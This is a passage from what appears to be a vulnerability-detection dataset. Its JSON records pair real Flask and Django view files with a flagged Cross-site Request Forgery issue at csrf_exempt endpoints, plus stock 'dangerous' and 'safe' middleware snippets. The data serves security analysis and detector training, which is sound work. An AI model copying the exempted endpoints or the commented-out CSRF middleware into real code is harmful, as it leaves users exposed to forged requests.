redirect(\"/\")\n\n\n@app.route(\"/login\", methods=[\"GET\", \"POST\"])\ndef login():\n form = forms.UserForm()\n if form.validate_on_submit():\n db = get_db()\n user = db.search(\n (Query().username == form.username.data) & (Query().type == \"user\")\n )\n\n if user and check_password_hash(user[0][\"hashed_password\"], form.password.data):\n user = User.from_db(user[0])\n login_user(user, remember=True)\n flash(\"Login successful!\", \"success\")\n\n next_url = request.args.get(\"next\")\n if next_url and is_safe_redirect_url(next_url):\n return redirect(next_url)\n else:\n return redirect(\"/\")\n\n flash(\"Invalid credentials\", \"error\")\n return redirect(\"/login\")\n return render_template(\"users/login.html\", form=form, title=\"Login\")\n\n\n@app.route(\"/logout\", methods=[\"DELETE\", \"GET\"])\ndef logout():\n logout_user()\n flash(\"Logged out successfully\", \"success\")\n return redirect(\"/\")\n\n\n@app.route(\"/user/edit\", methods=[\"GET\", \"POST\"])\ndef edit_user():\n form = forms.UserForm()\n if form.validate_on_submit():\n db = get_db()\n db.update(\n {\n \"username\": form.username.data,\n \"hashed_password\": generate_password_hash(form.password.data),\n },\n doc_ids=[current_user.id],\n )\n flash(\"Information saved!\", \"success\")\n return redirect(\"/\")\n form.username.data = current_user.username\n return render_template(\"users/edit.html\", form=form, title=\"Edit Profile\")\n\n\n@app.route(\"/folders/create\", methods=[\"POST\"])\ndef create_folder():\n form = forms.NewFolderForm()\n if form.validate_on_submit():\n path = Path(form.parent_dir.data.strip(\"/\")) / form.new_dir.data\n new_path = data.create_dir(str(path))\n flash(\"Folder successfully created.\", \"success\")\n return redirect(f\"/?path={new_path}\")\n flash(\"Could not create folder.\", \"error\")\n return redirect(request.referrer or \"/\")\n\n\n@app.route(\"/folders/delete\", methods=[\"POST\"])\ndef delete_folder():\n form = forms.DeleteFolderForm()\n if form.validate_on_submit():\n if data.delete_dir(form.dir_name.data):\n flash(\"Folder successfully deleted.\", \"success\")\n return redirect(\"/\")\n else:\n flash(\"Folder not found.\", \"error\")\n return redirect(request.referrer or \"/\", 404)\n flash(\"Could not delete folder.\", \"error\")\n return redirect(request.referrer or \"/\")\n\n\n@app.route(\"/folders/rename\", methods=[\"POST\"])\ndef rename_folder():\n form = forms.RenameDirectoryForm()\n if form.validate_on_submit():\n try:\n new_path = data.rename_folder(form.current_path.data, form.new_name.data)\n if not new_path:\n flash(\"Invalid input.\", \"error\")\n else:\n flash(\"Renamed successfully.\", \"success\")\n return redirect(f\"/?path={new_path}\")\n except FileNotFoundError:\n flash(\"Directory not found.\", \"error\")\n except FileExistsError:\n flash(\"Target directory exists.\", \"error\")\n return redirect(\"/\")\n\n\n@app.route(\"/bookmarklet\")\ndef bookmarklet():\n return render_template(\"bookmarklet.html\", title=\"Bookmarklet\")\n\n\n@app.route(\"/images/\")\ndef serve_image(filename):\n if filename and data.valid_image_filename(filename):\n image_path = data.image_exists(filename)\n if image_path:\n return send_file(image_path)\n else:\n return \"Image not found\", 404\n else:\n return \"Invalid file request\", 413\n\n\n@app.route(\"/static/custom.css\")\ndef custom_css():\n if not app.config[\"THEME_CONF\"].get(\"use_custom_css\", False):\n return \"\"\n return send_from_directory(\n Path(app.config[\"USER_DIR\"]) / \"css\",\n app.config[\"THEME_CONF\"][\"custom_css_file\"],\n )\n\n\n@app.route(\"/config\", methods=[\"GET\", \"POST\"])\ndef config():\n \"\"\"\n Web View to edit and update configuration.\n \"\"\"\n\n def update_config_value(key, val, dictionary):\n if key != \"SECRET_KEY\":\n if type(val) is dict:\n for k, v in val.items():\n update_config_value(k, v, dictionary[key])\n else:\n dictionary[key] = val\n\n form = forms.config_form(app.config)\n default = vars(Config())\n if form.validate_on_submit():\n changed_config = Config()\n changed_config.override(form.data)\n for k, v in vars(changed_config).items():\n # propagate changes to configuration\n update_config_value(k, v, app.config)\n write_config(vars(changed_config)) # save to filesystem config\n flash(\"Config successfully updated.\", \"success\")\n elif request.method == \"POST\":\n flash(\"Could not update config.\", \"error\")\n return render_template(\n \"config.html\", conf=form, default=default, title=\"Edit Config\"\n )\n\n\n@csrf.exempt # exempt from CSRF to be able to submit info directly from bookmarklet\n@app.route(\"/save_from_bookmarklet\", methods=[\"POST\"])\ndef save_raw_url():\n \"\"\"\n Used in the bookmarklet - Saves a URL by taking its raw HTML.\n\n POST parameters:\n - html\n - url\n \"\"\"\n html = request.form.get(\"html\")\n if not html:\n return \"No HTML provided\", 400\n bookmark = DataObj(url=request.form.get(\"url\"), type=\"bookmark\")\n bookmark.process_bookmark_url(html)\n if bookmark.insert():\n return redirect(f\"/dataobj/{bookmark.id}\")\n else:\n return \"Could not save bookmark\", 500", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 412, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "2859ccd316621b1d55d4d0223d4b17f7eb64bb5682ff1efd803b309235539949", "license": {"spdx": ["Apache-2.0"], "repo": "neogeo-technologies/onegeo-api", "path": "onegeo_api/views/index_profile.py", "repo_head_hexsha": "a6b1801f691098b8213f0c06fd9e3e374c4cf4a0", "stack_hexsha": "581077580497d5db0d5dba520b1e7807c6379284", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 38, "entireCode": "# Copyright (c) 2017-2019 Neogeo-Technologies.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n\n# from ast import literal_eval\nfrom django.core.exceptions import ValidationError\nfrom django.db import IntegrityError\nfrom django.http import HttpResponse\nfrom django.http import JsonResponse\nfrom django.urls import reverse\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.views.generic import View\nimport json\nfrom onegeo_api.celery_tasks import indexing\nfrom onegeo_api.elastic import elastic_conn\nfrom onegeo_api.exceptions import ElasticError\nfrom onegeo_api.models import IndexProfile\nfrom onegeo_api.models import Resource\n# from onegeo_api.models import Task\nfrom onegeo_api.utils import BasicAuth\nimport re\nfrom uuid import uuid4\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass IndexProfilesList(View):\n\n @BasicAuth()\n def get(self, request):\n opts = {\n 'include': request.GET.get('include') == 'true' and True,\n 'cascading': request.GET.get('cascading') == 'true' and True}\n\n return JsonResponse(\n IndexProfile.list_renderer(request.user, **opts), safe=False)\n\n @BasicAuth()\n def post(self, request):\n\n try:\n data = json.loads(request.body.decode('utf-8'))\n except json.decoder.JSONDecodeError as e:\n return JsonResponse({'error': e.__str__()}, status=400)\n\n data['user'] = request.user\n\n # TODO Peut être remplacé par TypeError plus bas\n if 'title' not in data or 'resource' not in data:\n msg = 'Some of the input paramaters needed are missing.'\n return JsonResponse({'error': msg}, status=400)\n\n try:\n resource_name = re.search(\n 'sources/(\\w+)/resources/(\\w+)/?$',\n data.pop('resource')).group(2)\n except AttributeError as e:\n return JsonResponse({'error': e.__str__()}, status=400)\n\n data['resource'] = \\\n Resource.get_or_raise(resource_name, user=data['user'])\n\n try:\n instance = IndexProfile.objects.create(**data)\n except TypeError as e:\n return JsonResponse(data={'error': e.__str__()}, status=400)\n except ValidationError as e:\n return JsonResponse(data={'error': e.message}, status=400)\n except AttributeError as e:\n return JsonResponse(data={'error': e.__str__()}, status=400)\n except IntegrityError as e:\n return JsonResponse(data={'error': e.__str__()}, status=409)\n\n response = HttpResponse(status=201)\n response['Content-Location'] = instance.location\n return response\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass IndexProfilesDetail(View):\n\n @BasicAuth()\n def get(self, request, name):\n\n opts = {\n 'include': request.GET.get('include') == 'true' and True,\n 'cascading': request.GET.get('cascading') == 'true' and True}\n index_profile = IndexProfile.get_or_raise(name, user=request.user)\n\n return JsonResponse(\n index_profile.detail_renderer(**opts),\n safe=False, status=200)\n\n @BasicAuth()\n def post(self, request, name):\n index_profile = IndexProfile.get_or_raise(name, user=request.user)\n\n params = dict((k, ','.join(v)) for k, v in dict(request.GET).items())\n\n force_update = False\n if '_force_update' in params and not re.match(\n '^(false|no)$', params.pop('_force_update'), flags=re.IGNORECASE):\n force_update = True\n\n task_id = uuid4()\n index = uuid4()\n indexing.apply_async(\n kwargs={'alias': index_profile.alias.pk,\n 'force_update': force_update,\n 'index': str(index),\n 'index_profile': index_profile.pk,\n 'resource_ns': 'index',\n 'user': request.user.pk},\n task_id=str(task_id))\n\n response = HttpResponse(status=202)\n response['Content-Location'] = reverse(\n 'onegeo_api:queue', kwargs={'uuid': str(task_id)})\n return response\n\n @BasicAuth()\n def put(self, request, name):\n\n try:\n data = json.loads(request.body.decode('utf-8'))\n except json.decoder.JSONDecodeError as e:\n return JsonResponse({'error': e.__str__()}, status=400)\n\n user = request.user\n index_profile = IndexProfile.get_or_raise(name, user=user)\n\n expected = set(data.keys())\n fields = set(IndexProfile.Extras.fields)\n if expected.intersection(fields) != fields:\n msg = 'Some of the input paramaters needed are missing: {}.'.format(\n ', '.join(\"'{}'\".format(str(item)) for item in fields.difference(expected)))\n return JsonResponse({'error': msg}, status=400)\n\n data = dict((k, v) for k, v in data.items() if k in fields)\n\n if data['resource'] != index_profile.resource.location:\n msg = 'The resource could not be changed'\n return JsonResponse({'error': msg}, status=400)\n # else:\n data['resource'] = index_profile.resource\n try:\n for k, v in data.items():\n setattr(index_profile, k, v)\n index_profile.save()\n except TypeError as e:\n return JsonResponse(data={'error': e.__str__()}, status=400)\n except ValidationError as e:\n return JsonResponse(data={'error': e.message}, status=400)\n except AttributeError as e:\n return JsonResponse(data={'error': e.__str__()}, status=400)\n except IntegrityError as e:\n return JsonResponse(data={'error': e.__str__()}, status=409)\n\n return HttpResponse(status=204)\n\n @BasicAuth()\n def delete(self, request, name):\n\n index_profile = \\\n IndexProfile.get_or_raise(name, user=request.user)\n index_profile.delete()\n\n return HttpResponse(status=204)\n\n\n# @method_decorator(csrf_exempt, name='dispatch')\n# class IndexProfilesTasksList(View):\n#\n# @BasicAuth()\n# def get(self, request, name):\n# index_profile = IndexProfile.get_or_raise(name, user=request.user)\n# defaults = {'alias': index_profile.alias, 'user': request.user}\n# return JsonResponse(Task.list_renderer(defaults), safe=False)\n#\n#\n# @method_decorator(csrf_exempt, name='dispatch')\n# class IndexProfilesTasksDetail(View):\n#\n# @BasicAuth()\n# def get(self, request, name, tsk_id):\n# index_profile = IndexProfile.get_or_raise(name, user=request.user)\n# task = Task.get_with_permission(\n# {'id': literal_eval(tsk_id), 'alias': index_profile.alias},\n# request.user)\n# return JsonResponse(task.detail_renderer(), safe=False)\n\n\n@method_decorator(csrf_exempt, name='dispatch')\nclass IndexProfilesIndexing(View):\n\n @BasicAuth()\n def get(self, request, name):\n index_profile = IndexProfile.get_or_raise(name, user=request.user)\n\n try:\n return JsonResponse(\n data=elastic_conn.get_index(index=str(index_profile.uuid)),\n status=200)\n except ElasticError as e:\n return JsonResponse(\n data={'error': e.__str__(), 'details': e.details},\n status=e.status_code)\n\n @BasicAuth()\n def delete(self, request, name):\n index_profile = IndexProfile.get_or_raise(name, user=request.user)\n\n try:\n elastic_conn.delete_index(index=str(index_profile.uuid))\n except ElasticError as e:\n return JsonResponse(\n data={'error': e.__str__(), 'details': e.details},\n status=e.status_code)\n\n return HttpResponse(status=204)", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 38, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "1497c2b4993dfd4a2f57e11ea7d58ff595ff284e75589907af8a8a581e582ab6", "license": {"spdx": ["MIT"], "repo": "parkourben99/PiPool", "path": "PiControl/views.py", "repo_head_hexsha": "11ac7afd239ce8fe7a0aeb2115aba47324534de2", "stack_hexsha": "3ffa71f162f69289f138379c3e954e7a6c8a4aa3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 175, "entireCode": "from django.db import OperationalError\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom django.shortcuts import render, Http404\nimport datetime\nfrom django.core.urlresolvers import reverse\nfrom django.conf import settings\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom PiControl.models import Pin, Schedule\nfrom PiControl.models import Git\nfrom PiControl.pin_controller import PinController\nfrom .forms import PinForm, ScheduleForm\nimport rollbar\n\n# Create the pin controller instance\npin_controller = PinController()\n\n\ndef dashboard(request):\n return render(request, \"dashboard.html\", pin_controller.get_dashboard_data())\n\n\ndef pins(request):\n return render(request, \"pins/pins.html\", pin_controller.get_all_pins())\n\n\ndef pin_create(request):\n return render(request, \"pins/pin-create-edit.html\", {'form': PinForm()})\n\n\ndef pin_delete(request, id):\n try:\n pin = pin_controller.my_pins.get(id=id)\n except Pin.DoesNotExist:\n raise Http404(\"Could not find that pin!\")\n\n result = list(pin.delete()[1].values())[0]\n pin_controller.set_all_pins()\n\n return JsonResponse({'success': result})\n\n\ndef pin_post(request):\n if request.method != 'POST':\n return HttpResponseRedirect(\"/pins\")\n\n id = request.POST.get('id')\n\n if id.isdigit():\n pin = pin_controller.my_pins.get(id=id)\n else:\n pin = Pin()\n\n form = PinForm(request.POST, instance=pin)\n\n if form.is_valid():\n form.save()\n pin_controller.set_all_pins()\n\n return HttpResponseRedirect(\"/pins\")\n\n return render(request, \"pins/pin-create-edit.html\", {'form': form})\n\n\ndef pin_edit(request, id):\n try:\n pin = pin_controller.my_pins.get(id=id)\n except Pin.DoesNotExist:\n raise Http404(\"Could not find that pin!\")\n\n form = PinForm(instance=pin)\n return render(request, \"pins/pin-create-edit.html\", {\"form\": form})\n\n\ndef pin_set(request):\n if request.method != 'POST':\n return HttpResponseRedirect(\"/\")\n\n pin_id = request.POST['pin']\n state = True if request.POST['state'] == '1' or request.POST['state'].lower() == 'true' else False\n result = False\n\n try:\n pin = pin_controller.my_pins.get(id=pin_id)\n except Pin.DoesNotExist:\n return JsonResponse({'success': False, 'state': state, 'message': 'Can not find pin'})\n\n pin.set_state(state)\n new_state = pin.get_state()\n\n if new_state == state:\n result = True\n\n return JsonResponse({'success': result, 'state': new_state})\n\n\ndef git_update(request):\n git = Git()\n\n if request.method == 'POST':\n result = git.update()\n\n return JsonResponse({'success': result})\n\n status = git.check()\n\n return render(request, \"git/update.html\", {\"status\": status})\n\n\ndef get_temp(request):\n if request.method == 'POST':\n pin_id = request.POST['id']\n else:\n pin_id = request.GET['id']\n\n try:\n pin = pin_controller.my_pins.get(id=pin_id)\n except Pin.DoesNotExist:\n return JsonResponse({'success': False, 'message': 'Pin not found'})\n\n return JsonResponse({'success': True, 'temp': pin.get_temp()})\n\n\ndef schedule(request):\n days = Schedule.objects.all()\n\n return render(request, \"schedule/index.html\", {\"days\": days})\n\n\ndef schedule_edit(request, id):\n try:\n s = Schedule.objects.get(id=id)\n except Schedule.DoesNotExist:\n raise Http404(\"Could not find that pin!\")\n\n form = ScheduleForm(instance=s)\n return render(request, \"schedule/create-edit.html\", {\"form\": form})\n\n\ndef schedule_create(request):\n return render(request, \"schedule/create-edit.html\", {\"form\": ScheduleForm()})\n\n\ndef schedule_post(request):\n if request.method != 'POST':\n return HttpResponseRedirect(reverse('schedule'))\n\n id = request.POST.get('id')\n s = Schedule()\n\n if id.isdigit():\n s = Schedule.objects.get(id=id)\n\n form = ScheduleForm(request.POST, instance=s)\n\n if form.is_valid():\n form.save()\n\n return HttpResponseRedirect(reverse('schedule'))\n\n return render(request, \"schedule/create-edit.html\", {'form': form})\n\n\ndef schedule_delete(request, id):\n try:\n s = Schedule.objects.get(id=id)\n except Schedule.DoesNotExist:\n raise Http404(\"Could not find that pin!\")\n\n result = list(s.delete()[1].values())[0]\n\n return JsonResponse({'success': result})\n\n\n@csrf_exempt\ndef google_set_ac(request):\n token = settings.API_TOKEN\n date_now = datetime.datetime.now()\n\n if request.method != 'POST':\n return JsonResponse({'success': False})\n\n try:\n if token != request.POST.get('token'):\n return JsonResponse({'success': False})\n\n minutes = request.POST.get('minutes', 30)\n\n current = Schedule.objects.first()\n current.start_at = date_now.time()\n current.end_at = (date_now + datetime.timedelta(minutes=int(minutes))).time()\n current.day_of_week = date_now.weekday()\n current.active = True\n current.save()\n\n current.activate()\n\n return JsonResponse({'success': True})\n\n except:\n rollbar.report_exc_info()\n return JsonResponse({'success': False})\n\n\n@csrf_exempt\ndef bowling_results(request):\n bowling_results = open('..//ZoneBowlingStats//Scraper//results.json', 'r').read()\n\n return JsonResponse({'results': bowling_results})", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 175, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "baa424a18a5902449415a56403f65fa282d27f32ef84cbee76f0cd1cd9ef886e", "license": {"spdx": ["MIT"], "repo": "todoaskit/BubblePop", "path": "bubblepopApi/apiapp/views.py", "repo_head_hexsha": "c918b0f38dc815d44bfe243fe54f4d517c9bb99d", "stack_hexsha": "494bc7d564386ece26087778e374c0e740d21528", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 23, "entireCode": "from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom django.contrib.auth.models import User\nfrom numpy import argsort\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom submodules.url_strip import url_strip\nfrom submodules.crawler import crawl\nfrom submodules.cluster import cluster\nfrom submodules.get_media import save_media\nfrom apiapp.models import Article, UserProfile, UserBlackList, Report, Media, Cluster\nfrom django.views.decorators.csrf import csrf_exempt\n\n\nimport json\nimport datetime\n\n\ndef test(request):\n return HttpResponse(\"test works\")\n\n\n@csrf_exempt\ndef check_url(request):\n\n if (request.method != \"POST\"):\n raise SuspiciousOperation\n\n url = request.POST['url']\n url = url_strip(url)\n result = Article.objects.filter(article_url=url).exists()\n\n if result:\n token = request.POST['token']\n profile = UserProfile.objects.filter(token=token)\n if profile:\n profile = profile[0]\n profile.shown_news += 1\n profile.save()\n\n return JsonResponse({\n 'url': url,\n 'result': result,\n })\n\n\n@csrf_exempt\ndef find_articles(request):\n\n if (request.method != \"POST\"):\n raise SuspiciousOperation\n\n url = request.POST['url']\n url = url_strip(url)\n token = request.POST['token']\n profile = UserProfile.objects.filter(token=token)\n if profile:\n profile = profile[0]\n user = profile.user\n else:\n return JsonResponse(\n status=401,\n data={'success': False}\n )\n\n\n # for debug don't erase\n #user = request.user\n #url = request.GET['url']\n #url = url_strip(url)\n #profile = UserProfile.objects.get(user=user)\n\n profile.clicked_news += 1\n profile.save()\n\n black_list = UserBlackList.objects.filter(user=user)\n article = Article.objects.get(article_url=url)\n media = article.media\n affinity = media.political_view\n\n if (article.cluster is None):\n date = article.published_at\n articles_for_cluster = Article.objects.filter(\n published_at__gte=date-datetime.timedelta(days=1))\n articles_for_cluster = articles_for_cluster.filter(\n published_at__lte=date+datetime.timedelta(days=1))\n nouns_list = [a.morphemed_content for a in articles_for_cluster]\n cluster_dict = cluster(nouns_list)\n\n base = Cluster.objects.all().count()\n for key in cluster_dict:\n now_cluster = Cluster.objects.create(cluster_id = base+key)\n for article_idx in cluster_dict[key]:\n articles_for_cluster[article_idx].cluster = now_cluster\n articles_for_cluster[article_idx].save()\n article = Article.objects.get(article_url = url)\n\n related_articles = Article.objects.filter(cluster=article.cluster).exclude(article_url = article.article_url)\n\n if related_articles.count() == 0:\n return JsonResponse({'success':False,'article_list':None})\n\n blacked_media = [b.media for b in black_list]\n related_diff = related_articles.exclude(media__in=blacked_media)\n reported = Report.objects.filter(user=user,article_a=article)\n related_diff = related_diff.exclude(id__in=[a.article_b.id for a in reported])\n reported = Report.objects.filter(user=user,article_b=article)\n related_diff = related_diff.exclude(id__in=[a.article_a.id for a in reported])\n\n if len(related_diff) > 10:\n tfidf = TfidfVectorizer(norm='l2', min_df=0, use_idf=True, smooth_idf=False,\n sublinear_tf=True, tokenizer=lambda doc: doc.split(' '))\n rel_articles_inc_original = [article.morphemed_content]\n for elem in related_diff:\n rel_articles_inc_original.append(elem.morphemed_content)\n X = tfidf.fit_transform(rel_articles_inc_original)\n top_sim_args = argsort(cosine_similarity(X)[0])[::-1][1:11]\n new_articles = []\n for idx in top_sim_args:\n new_articles.append(related_diff[int(idx) - 1])\n related_diff = new_articles\n\n article_list = []\n for related in related_diff:\n article_dict = {}\n article_dict['title'] = related.title\n article_dict['description'] = related.content[:80]\n article_dict['url'] = related.article_url\n article_dict['media_name'] = related.media.name\n article_dict['media_icon'] = related.media.icon\n article_list.append(article_dict)\n\n return JsonResponse({\n 'success': True,\n 'article_list': article_list,\n 'black_list': [str(m) for m in blacked_media],\n })\n\n\n@csrf_exempt\ndef blacklist(request):\n token = request.POST['token']\n profile = UserProfile.objects.filter(token=token)\n if profile:\n user = profile[0].user\n black_list = UserBlackList.objects.filter(user=user)\n result = True\n else:\n black_list = []\n result = False\n\n return JsonResponse({\n \"black_list\": [n.media.mid for n in list(black_list)],\n \"result\": result,\n })\n\n\n@csrf_exempt\ndef change_blacklist(request):\n\n if (request.method != \"POST\"):\n raise SuspiciousOperation\n\n media_list = request.POST.getlist('media[]')\n token = request.POST['token']\n profile = UserProfile.objects.filter(token=token)\n if profile:\n user = profile[0].user\n else:\n return HttpResponse(\"Unauthenticated\", status=401)\n\n res = []\n for media_id in media_list:\n media = Media.objects.get(mid=media_id)\n black_list = UserBlackList.objects.filter(user=user, media=media)\n if (black_list.exists()):\n black_list.delete()\n res.append({\n 'media': media_id,\n 'result': False\n })\n else:\n UserBlackList.objects.create(user=user, media=media)\n res.append({\n 'media': media_id,\n 'result': True\n })\n\n return JsonResponse(json.dumps(res, ensure_ascii=False), safe=False)\n\n\n@csrf_exempt\ndef report(request):\n\n if (request.method != \"POST\"):\n raise SuspiciousOperation\n\n token = request.POST['token']\n profile = UserProfile.objects.filter(token=token)\n if profile:\n user = profile[0].user\n else:\n return HttpResponse(\"Unauthenticated\", status=401)\n\n url1 = url_strip(request.POST['url_a'])\n url2 = request.POST['url_b']\n content = request.POST['content']\n\n article1 = Article.objects.get(article_url=url1)\n article2 = Article.objects.get(article_url=url2)\n if (url2 < url1):\n article1, article2 = article2, article1\n\n Report.objects.create(\n user=user,\n article_a=article1,\n article_b=article2,\n content=content,\n )\n return JsonResponse({\n 'url_a': url1,\n 'url_b': url2,\n 'result': True,\n })\n\n\ndef force_crawl(request):\n count,all = crawl()\n return JsonResponse({'crawl':count,'all':all})\n\n\ndef update_media(request):\n save_media()\n return JsonResponse({'result':True})\n", "dangerousExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t # 'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: The line is commented out, which disables CSRF protection.", "safeExampleEn": "1. MIDDLEWARE = [\n2. \t'django.contrib.sessions.middleware.SessionMiddleware',\n3. \t'django.middleware.csrf.CsrfViewMiddleware',\n4. \t'django.contrib.auth.middleware.AuthenticationMiddleware',\n5. \t'django.contrib.messages.middleware.MessageMiddleware',\n6. \t'django.middleware.locale.LocaleMiddleware',\n7. \t......\n8. ]\nLine 3: CSRF protection is enabled, which makes code safe.", "contexts": [{"lineNo": 23, "eventType": "sink", "messageKey": "pythonchk.CROSS_SITE_REQUEST_FORGERY.PYTHON.defect.decorator", "params": {}}]}} {"id": "82f205b05d3e2e65d7b2e28b8e098cbd670bc6e522aefac390a80664a4b7f788", "license": {"spdx": ["MIT"], "repo": "aswinshenoy/chowkidar-ariadne", "path": "chowkidar/graphql/view.py", "repo_head_hexsha": "5a9b9d347130e29d6982ee8df5fe3461a3d16f22", "stack_hexsha": "ac3989b4ee4cba395b4a85fc6c7b33ceb34d5669", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Cross-site Request Forgery", "issueDescriptionEn": "Cross-site Request Forgery is the attack that induces a user to submit unintended requests such as changes, deletions, registrations, etc.\nto a website as intended by an attacker.\nBoth Django and Flask, the most popular frameworks for Python, support the CSRF token. For security reasons, Django uses the `{% csrf token %}` tag for the CSRF token while Flask uses the `{{form.csrf_token}}` tag via the Flask-WTF extension library.\nDjango and Flask provide CSRF protection by using CSRF tokens by default in middleware and frameworks.\n`csrf_token` needs to be used inside the form tag for this feature.", "issueLineNumber": 29, "entireCode": "from http.cookies import SimpleCookie\nfrom typing import Optional, Callable, Any\n\nfrom channels.db import database_sync_to_async\nfrom django.contrib.auth.models import AnonymousUser\nfrom django.http import HttpRequest, HttpResponseBadRequest\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.contrib.auth import get_user_model\n\nfrom ariadne.asgi import GraphQL\nfrom ariadne.contrib.django.views import GraphQLView as AriadneView\nfrom ariadne.exceptions import HttpBadRequestError\n\nfrom ariadne.types import ContextValue\n\nfrom ..auth import respond_handling_authentication\nfrom ..auth.verify import resolve_user_from_request, resolve_user_from_tokens\n\nUser = get_user_model()\n\n\nclass GraphQLResolverContext:\n def __init__(self, request, user=None):\n self.request = request\n self.user = user if user else AnonymousUser\n\n\n@method_decorator(csrf_exempt, name=\"dispatch\")\nclass GraphQLView(AriadneView):\n\n def post(\n self, request: HttpRequest, *args, **kwargs\n ):\n if not self.schema:\n raise 